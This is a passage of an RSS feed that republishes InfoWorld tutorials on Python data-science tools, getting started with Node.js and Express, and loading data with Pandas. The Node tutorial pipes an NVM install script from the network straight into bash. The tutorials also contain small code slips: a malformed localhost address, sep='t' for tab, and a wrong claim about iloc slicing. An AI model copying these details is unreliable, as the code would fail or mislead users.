<p class="wp-block-paragraph">DuckDB can directly ingest data in CSV, <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a>, or <a href="https://www.infoworld.com/article/2336762/exploring-the-apache-ecosystem-for-data-analysis.html">Parquet</a> format, as well as <a href="https://duckdb.org/docs/stable/data/data_sources">a slew of other common data sources</a>. The resulting databases can also be partitioned into multiple physical files for efficiency, based on keys (e.g., by year and month). Querying works like any other <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a>-powered relational database, but with additional built-in features like the ability to take random samples of data or construct window functions.</p>



<p class="wp-block-paragraph">DuckDB also has a small but useful collection of extensions, including full-text search, <a href="https://duckdb.org/docs/stable/core_extensions/vss">accelerated vector similarity search</a>, Excel import/export, direct connections to SQLite and PostgreSQL, Parquet file export, and support for many common geospatial data formats and types.</p>



<h2 class="wp-block-heading">Optimus</h2>



<p class="wp-block-paragraph">One of the least enviable jobs you can be stuck with is cleaning and preparing data for use in a DataFrame-centric project. <a href="https://github.com/hi-primus/optimus">Optimus</a> is an all-in-one tool set for loading, exploring, cleansing, and writing data back out to a variety of data sources.</p>



<p class="wp-block-paragraph">Optimus can use <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, Dask, CUDF (and Dask + CUDF), Vaex, or <a href="https://www.infoworld.com/article/2259224/what-is-apache-spark-the-big-data-platform-that-crushed-hadoop.html">Spark</a> as its underlying data engine. Data can be loaded in from and saved back out to Arrow, Parquet, Excel, a variety of common database sources, or flat-file formats like CSV and JSON.</p>



<p class="wp-block-paragraph">The data manipulation API resembles Pandas, but adds <code>.rows()</code> and <code>.cols()</code> accessors to make it easy to do things like sort a DataFrame, filter by column values, alter data according to criteria, or narrow the range of operations based on some criteria. Optimus also comes bundled with processors for handling common real-world data types like email addresses and URLs.</p>



<p class="wp-block-paragraph">One possible issue with Optimus is that it’s still under active development but its last official release was in 2020. This means it might not be as current as other components in your stack.</p>



<h2 class="wp-block-heading">Polars</h2>



<p class="wp-block-paragraph">If you spend much time working with DataFrames and you’re frustrated by the performance limits of <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, reach for <a href="https://github.com/pola-rs/polars">Polars</a>. This DataFrame library for Python offers a convenient syntax similar to Pandas.</p>



<p class="wp-block-paragraph">Unlike Pandas, though, Polars uses a library written in <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> that takes maximum advantage of your hardware out of the box. You don’t need to use special syntax to take advantage of performance-enhancing features like parallel processing or SIMD; it’s all automatic. Even simple operations like reading from a CSV file are faster. Rust developers can <a href="https://github.com/pola-rs/pyo3-polars">craft their own Polars extensions using pyo3</a>.</p>



<p class="wp-block-paragraph">Polars provides eager and lazy execution modes, so queries can be executed immediately or deferred until needed. It also provides a streaming API for processing queries incrementally. Streaming isn’t available yet for many functions, although Polars can always fall back to the in-memory engine for such operations if need be. You can also <a href="https://docs.pola.rs/api/python/stable/reference/lazyframe/api/polars.LazyFrame.show_graph.html">plot execution graphs for queries</a>, streaming or otherwise, if you want to get an idea of what memory or CPU consumption is like for the query (via the external Graphviz library).</p>



<h2 class="wp-block-heading">DVC</h2>



<p class="wp-block-paragraph">A major and pervasive issue with data science experiments is <a href="https://www.infoworld.com/article/2260350/version-control-track-the-who-what-and-when-of-software-changes.html">version control</a>—not of the project’s code, but its data. <a href="https://github.com/iterative/dvc">DVC</a>, short for Data Version Control, lets you attach version descriptors to datasets, check them into Git as you would the rest of your code, and keep versions of data and code consistent together.</p>



<p class="wp-block-paragraph">DVC can track most any kind of dataset as long as they can be expressed as a file, whether kept in local storage or in a <a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">remote storage service</a> like an Amazon S3 bucket. You can describe how data models are managed and used by way of a “<a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">pipeline</a>,” which DVC’s documentation describes as being like “a Makefile system for machine learning projects.”</p>



<p class="wp-block-paragraph">The use cases for DVC are intended to be more than just allowing data to be versioned alongside code. It also works as a fast data cache for remotely hosted data, a methodology for tracking experiments conducted with data, and a registry or catalog for <a href="https://www.infoworld.com/article/2254843/what-is-machine-learning-intelligence-derived-from-data.html">machine learning models</a> created with the data. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">Visual Studio Code</a> users can integrate DVC workflows into the editor by way of the <a href="https://marketplace.visualstudio.com/items?itemName=Iterative.dvc">DVC VS Code extension</a>.</p>



<h2 class="wp-block-heading">Cleanlab</h2>



<p class="wp-block-paragraph">Good machine learning datasets are hard to come by, because it’s expensive and time-consuming to create clean, properly labeled data. Sometimes, though, you have no choice but to use data that’s raw and inconsistent. <a href="https://github.com/cleanlab/cleanlab">Cleanlab</a> (as in, “cleans labels”) was made for this scenario.</p>



<p class="wp-block-paragraph">Cleanlab uses existing, high-quality machine learning datasets to analyze lower-quality, unlabeled (or poorly labeled) datasets. You create a model based on the original dataset, use Cleanlab to figure out what needs to be improved in the original dataset, then re-train using your automatically cleaned and adjusted dataset to see the difference.</p>



<p class="wp-block-paragraph">Cleanlab is data-model and data-framework agnostic, a powerful aspect of its design. It doesn’t matter if you’re running <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a>, OpenAI, scikit-learn, or <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">Tensorflow</a>; Cleanlab can work with any classifier. It does, however, have specific workflows for common tasks like token classification, multi-labeling, regression, image segmentation and object detection, outlier detection, and so on. It’s worth perusing the <a href="https://github.com/cleanlab/examples">example set</a> to see for yourself how the process works and what results you can expect.</p>



<h2 class="wp-block-heading">Snakemake</h2>



<p class="wp-block-paragraph">Data science workflows are hard to set up, and that’s even harder to do in a consistent, predictable way. <a href="https://github.com/snakemake/snakemake">Snakemake</a> was created to automate the process, setting up data analysis workflows in ways that ensure everyone gets the same results. Many existing data science projects rely on Snakemake. The more moving parts you have in your data science workflow, the more likely you’ll benefit from automating that workflow with Snakemake.</p>



<p class="wp-block-paragraph">Snakemake workflows resemble GNU Make workflows—you define the steps of the workflow with rules, which specify what they take in, what they put out, and what commands to execute to accomplish that. Workflow rules can be multithreaded (assuming that gives them any benefit), and configuration data can be piped in from <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a> or <a href="https://www.infoworld.com/article/2336307/7-yaml-gotchas-to-avoidand-how-to-avoid-them.html">YAML</a> files. You can also define functions in your workflows to transform data used in rules, and write the actions taken at each step to logs.</p>



<p class="wp-block-paragraph">Snakemake jobs are designed to be portable—they can be deployed on any <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes-managed environment</a>, or in specific cloud environments like Google Cloud Life Sciences or Tibanna on AWS. Workflows can be “frozen” to use a specific set of packages, and successfully executed workflows can have unit tests automatically generated and stored with them. And for long-term archiving, you can store the workflow as a tarball.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js tutorial: Get started with Node]]></title>
<description><![CDATA[Node.js is a popular and versatile cross-platform JavaScript runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in server-side JavaScript. Its ease of use, massive ecosystem and performance characteristic...]]></description>
<link>https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665674/ai-nachrichten/nodejs-tutorial-get-started-with-node/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> is a popular and versatile cross-platform <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtime environment. Node was the first runtime to allow developers to run JavaScript outside the browser, opening a new world of possibilities in <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">server-side JavaScript</a>. Its ease of use, massive ecosystem and performance characteristics have continued to secure its place as one of the most important technologies of the modern web.</p>



<p class="wp-block-paragraph">Anytime you need to run JavaScript on the server—be it for a systems utility, a REST API, data processing, or anything else—Node is an excellent choice. There are newer runtimes, namely <a href="https://www.infoworld.com/article/2336271/deno-vs-nodejs-which-is-better.html">Deno</a> and <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>, but Node remains the standard for server-side JavaScript.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2252306/10-javascript-concepts-every-nodejs-developer-must-master.html">10 JavaScript concepts you need to succeed with Node</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Node</h2>



<p class="wp-block-paragraph">If you haven’t already experienced Node, this article will introduce you. We’ll step through installing Node and the NPM package manager, spinning up a simple web server, and using the Node cluster module to take advantage of multiple CPU cores.</p>



<p class="wp-block-paragraph">We’ll also look at using the NPM package manager to install additional Node modules and other JavaScript packages. And we’ll dip a toe into using a Node framework, in this case the ubiquitous <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express server</a>, to create more feature-rich and flexible Node.js servers. Let’s get started!</p>



<h2 class="wp-block-heading">Installing Node and NPM</h2>



<p class="wp-block-paragraph">There are <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">a few ways to install Node</a>, including the installer that <a href="https://docs.npmjs.com/downloading-and-installing-node-js-and-npm">Node itself provides</a>, but the recommended way is with a version manager. The most common version manager is <a href="https://github.com/nvm-sh/nvm">NVM</a>. This makes it easy to install Node and change versions when you need to. (There is also a Microsoft Windows-specific version called <a href="https://github.com/coreybutler/nvm-windows/releases">nvm-windows</a>.)</p>



<p class="wp-block-paragraph">NVM can be installed with an installer or using a CLI. In the following example, we use <code>curl</code>:</p>



<pre class="wp-block-code"><code>
$ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash</code></pre>



<p class="wp-block-paragraph">Once you have NVM installed, installing the most recent version of Node is simple:</p>



<pre class="wp-block-code"><code>
$ nvm install latest
</code></pre>



<p class="wp-block-paragraph">The <code>install latest</code> command makes the latest version available. Mine is Node 24.9.0, so I activate it with:</p>



<pre class="wp-block-code"><code>$ nvm use 24.9.0</code></pre>



<p class="wp-block-paragraph">Anytime you need to install another version of Node, you can use <code>nvm install</code> and <code>nvm use</code> to switch between them.</p>



<p class="wp-block-paragraph">You should now see Node available at your command prompt:</p>



<pre class="wp-block-code"><code>
$ node -v

v24.9.0</code></pre>



<p class="wp-block-paragraph">When you install Node this way, the Node package manager (NPM) is also installed:</p>



<pre class="wp-block-code"><code>$ npm -v

11.6.0</code></pre>



<p class="wp-block-paragraph">Note that using NVM also avoids potential permissions issues with NPM packages when using the installer.</p>



<h2 class="wp-block-heading">A simple web server in Node</h2>



<p class="wp-block-paragraph">To start simply, we can use <a href="https://nodejs.org/api/synopsis.html">an example from the Node homepage</a>. Copy the Synopsis example code as directed there and paste it into your code editor, then save it as <code>example.js</code>:</p>



<pre class="wp-block-code"><code>
const http = require('node:http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello, InfoWorld!\n');
});

server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">Open a shell in the directory where you saved the file, and run the file from your command line:</p>



<pre class="wp-block-code"><code>
$ node example.js

Server running at http://127.0.0.1:3000/</code></pre>



<p class="wp-block-paragraph">You can now go to the browser and check it out at <code>127.0.0:3000</code>, and you should see a simple greeting. Back at the terminal, press <strong>Control-C</strong> to stop the running server.</p>



<p class="wp-block-paragraph">Before we go further, let’s pull apart the code.</p>



<h3 class="wp-block-heading">Creating a simple HTTP server with Node</h3>



<p class="wp-block-paragraph">We start with the command:</p>



<pre class="wp-block-code"><code>const http = require(‘http’);</code></pre>



<p class="wp-block-paragraph">This is how you include a module in your code, in this case, the standard <a href="https://nodejs.org/api/http.html">http module</a>. (The <code>http</code> module ships with Node, so you don’t have to add it as a dependency.) This module provides the <a href="https://nodejs.org/api/http.html#http_http_createserver_requestlistener">createServer</a> and <code>listen</code> functions we’ll use later on.</p>



<p class="wp-block-paragraph">You might have noted that this example used a <a href="https://nodejs.org/api/modules.html">CommonJS</a> import. While older, this style of import is still very common in Node programs as well as some documentation. However, it’s gradually being phased out in favor of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules">ES Modules</a> (ESM), the standardized module system introduced in ECMAScript 2015. An ESM import would look like this:</p>



<pre class="wp-block-code"><code>import http from 'http';</code></pre>



<p class="wp-block-paragraph">After we import the <code>http</code> module, we define a couple of values we need (<code>hostname</code> and <code>port</code>):</p>



<pre class="wp-block-code"><code>const hostname = '127.0.0.1';

const port = 3000;</code></pre>



<p class="wp-block-paragraph">Next, we create the server:</p>



<pre class="wp-block-code"><code>const server = http.createServer((req, res) =&gt; {
  res.statusCode = 200;
  res.setHeader(‘Content-Type’, ‘text/plain’);
  res.end(‘Hello World\n’);
});</code></pre>



<p class="wp-block-paragraph">The <code>creatServer </code>command accepts a callback function, which we define using the fat arrow notation. The callback function passes two arguments, the request (<code>req</code>) and response (<code>res</code>) objects needed to handle HTTP requests. The <code>req</code> argument contains the incoming HTTP request, which in this case is ignored. The <code>res.end</code> method sets the response data to <code>‘Hello InfoWorld\n’</code> and tells the server that it is done creating the response.</p>



<p class="wp-block-paragraph">Next, we have:</p>



<pre class="wp-block-code"><code>server.listen(port, hostname, () =&gt; {
  console.log(`Server running at http://${hostname}:${port}/`);
});</code></pre>



<p class="wp-block-paragraph">The <code>server.listen</code> function accepts three arguments. The first two are the <code>port</code> and <code>hostname</code>, and the third is a callback that is executed when the server is ready (in this case, it prints a message to the console).</p>



<p class="wp-block-paragraph">Having all the event handlers defined as callbacks is one of the most subtle and powerful parts of Node. It’s key to Node’s asynchronous non-blocking architecture.</p>



<p class="wp-block-paragraph">Node.js runs on <a href="https://www.infoworld.com/article/4052419/9-vital-concepts-of-modern-javascript.html">an event loop</a>, which always reverts to handling events when not otherwise engaged. It’s like a busy order-taker continually picking up orders and then updating the order-maker with their order. We receive updates via the callbacks.</p>



<h2 class="wp-block-heading">A multi-process web server with Node</h2>



<p class="wp-block-paragraph">Node’s asynchronous, non-blocking nature makes it good at handling many parallel requests, but it’s not truly concurrent by default. There are <a href="https://www.infoworld.com/article/2513020/intro-to-multithreaded-javascript.html">a few ways to make a Node application use multiple threads</a> for true concurrency. One of the simplest is to use the <a href="https://pm2.keymetrics.io/">PM2 project</a>, which lets you run the same Node application in many processes.</p>



<p class="wp-block-paragraph">By launching each application instance in its own process, the operating system can make use of multiple cores on the machine. This is not usually a concern at first, but it’s a key performance consideration to bear in mind.</p>



<p class="wp-block-paragraph">You can install PM2 globally like so:</p>



<pre class="wp-block-code"><code>$ npm install -g pm2</code></pre>



<p class="wp-block-paragraph">For our example, we want to make it obvious that the different processes are handling requests. We can achieve that goal with a small change to the server:</p>



<pre class="wp-block-code"><code>res.end(`Hello, InfoWorld! Handled by ${process.pid}`);</code></pre>



<p class="wp-block-paragraph">The <code>process.pid </code>field is a built-in environment variable, providing a unique ID for the currently running process in Node. Once PM2 is installed and the app is updated, we can run it like so:</p>



<pre class="wp-block-code"><code>$ pm2 start example.js -i max</code></pre>



<p class="wp-block-paragraph">That should launch several instances of the same program, as shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig3v2.png?w=1024" alt="Screenshot of a multi-process Node-based web server running several instances of the same program." class="wp-image-4089570" width="1024" height="575" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Then, if you open multiple windows, you can see the unique ID of each instance:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Node-tutorial-fig2v2.png?w=1024" alt="Screenshot of a Node-based multi-process web server showing the unique ID of each instance." class="wp-image-4089571" width="1024" height="536" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<h2 class="wp-block-heading">An Express web server with Node</h2>



<p class="wp-block-paragraph">For our final example, we’ll look at setting up an <a href="https://www.infoworld.com/article/3615615/intro-to-express-js-endpoints-parameters-and-routes.html">Express</a> web server in Node. This time we’ll use NPM to download Express and its dependencies. NPM is one of the greatest storehouses of software on the planet, with literally <a href="https://www.npmjs.com/">millions of libraries available</a>. Knowing how to use it is essential for working with Node.</p>



<p class="wp-block-paragraph">NPM works just like other package managers you may have used, letting you define and install dependencies in a structured way. To install Express, go to your project directory and type:</p>



<pre class="wp-block-code"><code>$ npm install express</code></pre>



<p class="wp-block-paragraph">Node should respond with something like: <code>added 68 packages in 5s</code>.</p>



<p class="wp-block-paragraph">You will notice several directories have been added to a <code>/node_modules</code> directory. Those are all the dependencies needed for Express. You usually don’t have to interact with <code>node_modules</code> yourself, but it’s good to know that’s where things are saved.</p>



<p class="wp-block-paragraph">Now look at the <code>package.json</code> file, which will have something like this in it:</p>



<pre class="wp-block-code"><code>{
  "dependencies": {
	"express": "^5.1.0"
  }
}</code></pre>



<p class="wp-block-paragraph">This is how dependencies are defined in NPM. It says the application needs the express dependency at version 5.1.0 (or greater).</p>



<h3 class="wp-block-heading">Setting up the Express server in Node</h3>



<p class="wp-block-paragraph">Express is one of the most-deployed pieces of software on the Internet. It can be a minimalist server framework for Node that handles all the essentials of HTTP, and it’s also expandable using “middleware” plugins.</p>



<p class="wp-block-paragraph">Since we’ve already installed Express, we can jump right into defining a server. Open the <code>example.js</code> file we used previously and replace the contents with this simple Express server:</p>



<pre class="wp-block-code"><code>import express from 'express';

const app = express();
const port = 3000;

app.get('/', (req, res) =&gt; {
  res.send('Hello, InfoWorld!');
});

app.listen(port, () =&gt; {
  console.log(`Express server at http://localhost:${port}`);
});</code></pre>



<p class="wp-block-paragraph">This program does the same thing as our earlier <code>http</code> module version. The most important change is that we’ve added routing. Express makes it easy for us to associate a URL path, like the root path (<code>‘/’</code>), with the handler function.</p>



<p class="wp-block-paragraph">If we wanted to add another path, it could look like this:</p>



<pre class="wp-block-code"><code>app.get('/about', (req, res) =&gt; {
  res.send('This is the About page.');
});</code></pre>



<p class="wp-block-paragraph">Once we have the basic web server set up with one or more paths, we’ll probably need to create a few API endpoints that respond with JSON. Here’s an example of a route that returns a JSON object:</p>



<pre class="wp-block-code"><code>app.get('/api/user', (req, res) =&gt; {
  res.json({
	id: 1,
	name: 'John Doe',
	role: 'Admin'
  });
});</code></pre>



<p class="wp-block-paragraph">That’s a simple example, but it gives you a taste of working with Express in Node.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">In this article you’ve seen how to install Node and NPM and how to set up both simple and more advanced web servers in Node. Although we’ve only touched on the basics, these examples demonstrate many elements that are required for all Node applications, including the ability to import modules.</p>



<p class="wp-block-paragraph">Whenever you need a package to do something in Node, you will more than likely find it available on <a href="https://www.npmjs.com/">NPM</a>. Visit the official site and use the search feature to find what you need. For more information about a package, you can use the <a href="http://npms.io/">npms.io</a> tool. Keep in mind that a project’s health depends on its weekly download metric (visible on NPM for the package itself). You can also check a project’s GitHub page to see how many stars it has and how many times it’s been forked; both are good measures of success and stability. Another important metric is how recently and frequently the project is updated and maintained. That information is also visible on a project’s GitHub Insights page.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use Pandas for data analysis in Python]]></title>
<description><![CDATA[When it comes to working with data in a tabular form, most people reach for a spreadsheet. That’s not a bad choice: Microsoft Excel and similar programs are familiar and loaded with functionality for massaging tables of data. But what if you want more control, precision, and power than Excel alon...]]></description>
<link>https://tsecurity.de/de/3665666/ai-nachrichten/how-to-use-pandas-for-data-analysis-in-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665666/ai-nachrichten/how-to-use-pandas-for-data-analysis-in-python/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:28 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to working with data in a tabular form, most people reach for a spreadsheet. That’s not a bad choice: Microsoft Excel and similar programs are familiar and loaded with functionality for massaging tables of data. But what if you want more control, precision, and power than Excel alone delivers?</p>



<p class="wp-block-paragraph">In that case, the open source Pandas library for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> might be what you are looking for. <a href="https://pandas.pydata.org/">Pandas</a> augments Python with new data types for loading data fast from tabular sources, and for manipulating, aligning, merging, and doing other processing at scale.</p>



<h2 class="wp-block-heading">Your first Pandas data set</h2>



<p class="wp-block-paragraph">Pandas is not part of the Python standard library. It’s a third-party project, so you’ll need to install it in your Python runtime with <code>pip install pandas</code>. Once installed, you can import it into Python with <code>import pandas</code>.</p>



<p class="wp-block-paragraph">Pandas gives you two new data types: <code>Series</code> and <code>DataFrame</code>. The <code>DataFrame</code> represents your entire spreadsheet or rectangular data, whereas the <code>Series</code> is a single column of the <code>DataFrame</code>. In Python terms, you can think of the Pandas <code>DataFrame</code> as a dictionary or collection of <code>Series</code> objects. You’ll also find later that you can use dictionary- and list-like methods for finding elements in a <code>DataFrame</code>.</p>



<p class="wp-block-paragraph">You typically work with Pandas by importing data from some other format. A common external tabular data format is CSV, a text file with values separated by commas. If you have a CSV handy, you can use it. For this article, we’ll be using <a href="https://www.github.com/jennybc/gapminder">an excerpt from the Gapminder data set</a> prepared by Jennifer Bryan from the University of British Columbia.</p>



<p class="wp-block-paragraph">To begin using Pandas, we first import the library. Note that it’s a common practice to alias the Pandas library as <code>pd</code> to save some typing:</p>



<pre class="wp-block-code"><code>import pandas as pd</code></pre>



<p class="wp-block-paragraph">To start working with the sample data in CSV format, we can load it in as a dataframe using the <code>pd.read_csv</code> function:</p>



<pre class="wp-block-code"><code>df = pd.read_csv("./gapminder/inst/extdata/gapminder.tsv", sep='t')</code></pre>



<p class="wp-block-paragraph">The <code>sep</code> parameter lets us specify that the file is <em>tab-delimited</em> rather than comma-delimited.</p>



<p class="wp-block-paragraph">Once you’ve loaded the data, you can use the <code>.head()</code> method on the dataframe to peek at its formatting and ensure it’s loaded correctly. <code>.head()</code> is a convenience method used to display the first few rows of a dataframe for quick inspection. The results for the Gapminder data should look like this:</p>



<pre class="wp-block-code"><code>print(df.head())
       country continent  year  lifeExp       pop   gdpPercap
0  Afghanistan      Asia  1952   28.801   8425333  779.445314
1  Afghanistan      Asia  1957   30.332   9240934  820.853030
2  Afghanistan      Asia  1962   31.997  10267083  853.100710
3  Afghanistan      Asia  1967   34.020  11537966  836.197138
4  Afghanistan      Asia  1972   36.088  13079460  739.981106</code></pre>



<p class="wp-block-paragraph">Dataframe objects have a <code>shape</code> attribute that reports the number of rows and columns in the dataframe:</p>



<pre class="wp-block-code"><code>print(df.shape)
(1704, 6) # rows, cols</code></pre>



<p class="wp-block-paragraph">To list the names of the columns themselves, use <code>.columns</code>:</p>



<pre class="wp-block-code"><code>print(df.columns)
Index(['country', 'continent', 'year', 'lifeExp',
'pop', 'gdpPercap'], dtype='object')</code></pre>



<p class="wp-block-paragraph">Dataframes in Pandas work much the same way as they do in other languages, such as <a href="https://www.infoworld.com/article/2260353/julia-vs-python-which-is-best-for-data-science.html">Julia</a> and <a href="https://www.infoworld.com/article/2258003/r-tutorial-learn-to-crunch-big-data-with-r.html">R</a>. Each column, or <code>Series</code>, must be the same type, whereas each row can contain mixed types. For instance, in the current example, the <code>country</code> column will always be a string, and the <code>year</code> column is always an integer. We can verify this by using <code>.dtypes</code> to list the data type of each column:</p>



<pre class="wp-block-code"><code>print(df.dtypes)
country object
continent object
year int64
lifeExp float64
pop int64
gdpPercap float64
dtype: object</code></pre>



<p class="wp-block-paragraph">For an even more explicit breakdown of your dataframe’s types, you can use <code>.info()</code>:</p>



<pre class="wp-block-code"><code>df.info() # information is written to console, so no print required

RangeIndex: 1704 entries, 0 to 1703
Data columns (total 6 columns):
 #   Column     Non-Null Count  Dtype
---  ------     --------------  -----
 0   country    1704 non-null   object
 1   continent  1704 non-null   object
 2   year       1704 non-null   int64
 3   lifeExp    1704 non-null   float64
 4   pop        1704 non-null   int64
 5   gdpPercap  1704 non-null   float64
dtypes: float64(2), int64(2), object(2)
memory usage: 80.0+ KB</code></pre>



<p class="wp-block-paragraph">Each Pandas data type maps to a native Python data type:</p>



<ul class="wp-block-list">
<li><code>object</code> is handled as a Python <code>str</code> type. (More on this below.)</li>



<li><code>int64</code> is handled as a Python <code>int</code>. Note that not all Python <code>int</code>s can be converted to <code>int64</code> types; anything larger than (2 ** 63)-1 will not convert to <code>int64</code>.</li>



<li><code>float64</code> is handled as a Python <code>float</code> (which is a 64-bit <code>float</code> natively).</li>



<li><code>datetime64</code> is handled as a Python <code>datetime.datetime</code> object. Note that Pandas does not automatically try to convert something that looks like a date into date values; <a href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.to_datetime.html" rel="nofollow">you must tell Pandas you want the conversion done for a specific column</a>.</li>
</ul>



<p class="wp-block-paragraph">Any data that’s not a native Pandas type—essentially, anything that’s not a number—is stored as a generic <a href="https://www.infoworld.com/article/2336120/what-is-numpy-faster-array-and-matrix-math-in-python.html">NumPy</a> type named object. If you have an <code>object</code> column in a dataframe, it’s worth making sure that data is not being used as part of any computational work, as you’ll get none of the performance benefits of using a numerical type (<code>int64</code>, <code>float64</code>, etc.).</p>



<p class="wp-block-paragraph">Traditionally, strings have been represented as an object. As of Pandas 2.3 or higher, there’s an option to use a new dedicated <code>str</code> type, which has better Panda-native behaviors (such as a more explicit type for the data and more efficient storage). To enable this behavior, you’d use the command <code>pd.options.future.infer_string = True</code> at the top of your code.</p>



<aside class="sidebar">
<p><strong>Note</strong>: The <a href="https://pandas.pydata.org/community/blog/pandas-3.0-release-candidate.html">Pandas 3.0</a> release will make the new <code>str</code> type the default for strings. See the <a href="https://pandas.pydata.org/docs/dev/user_guide/migration-3-strings.html">Pandas documentation</a> for details about how to migrate to the new string type.</p>
</aside>




<h2 class="wp-block-heading">Pandas columns, rows, and cells</h2>



<p class="wp-block-paragraph">Now that you’re able to load a simple data file, you want to be able to inspect its contents. You could print the contents of the dataframe, but most dataframes are too big to inspect by printing.</p>



<p class="wp-block-paragraph">A better approach is to look at subsets of the data, as we did with <code>df.head()</code>, but with more control. Pandas lets you use Python’s existing syntax for indexing and creating slices to make excerpts from dataframes.</p>



<h3 class="wp-block-heading">Extracting Pandas columns</h3>



<p class="wp-block-paragraph">To examine columns in a Pandas dataframe, you can extract them by their names, positions, or by ranges. For instance, if you want a specific column from your data, you can request it by name using square brackets:</p>



<pre class="wp-block-code"><code># extract the column "country" into its own dataframe
country_df = df["country"]

# show the first five rows
print(country_df.head())
| 0 Afghanistan
| 1 Afghanistan
| 2 Afghanistan
| 3 Afghanistan
| 4 Afghanistan
Name: country, dtype: object

# show the last five rows
print(country_df.tail())
| 1699  Zimbabwe
| 1700  Zimbabwe
| 1701  Zimbabwe
| 1702  Zimbabwe
| 1703  Zimbabwe
| Name: country, dtype: object</code></pre>



<p class="wp-block-paragraph">If you want to extract multiple columns, pass a list of the column names:</p>



<pre class="wp-block-code"><code># Looking at country, continent, and year
subset = df[['country', 'continent', 'year']]

print(subset.head())
       country continent  year
| 0  Afghanistan    Asia  1952
| 1  Afghanistan    Asia  1957
| 2  Afghanistan    Asia  1962
| 3  Afghanistan    Asia  1967
| 4  Afghanistan    Asia  1972

print(subset.tail())
         country continent    year
| 1699  Zimbabwe    Africa    1987
| 1700  Zimbabwe    Africa    1992
| 1701  Zimbabwe    Africa    1997
| 1702  Zimbabwe    Africa    2002
| 1703  Zimbabwe    Africa    2007</code></pre>



<h3 class="wp-block-heading">Subsetting rows</h3>



<p class="wp-block-paragraph">If you want to extract rows from a dataframe, you can use one of two methods.</p>



<p class="wp-block-paragraph"><code>.iloc[]</code> is the simplest method. It extracts rows based on their position, starting at 0. For fetching the first row in the above dataframe example, you’d use <code>df.iloc[0]</code>.</p>



<p class="wp-block-paragraph">If you want to fetch a range of rows, you can use <code>.iloc[] </code>with Python’s slicing syntax. For instance, for the first 10 rows, you’d use <code>df.iloc[0:10]</code>. And if you wanted to obtain the last 10 rows in reverse order, you’d use <code>df.iloc[::-1]</code>.</p>



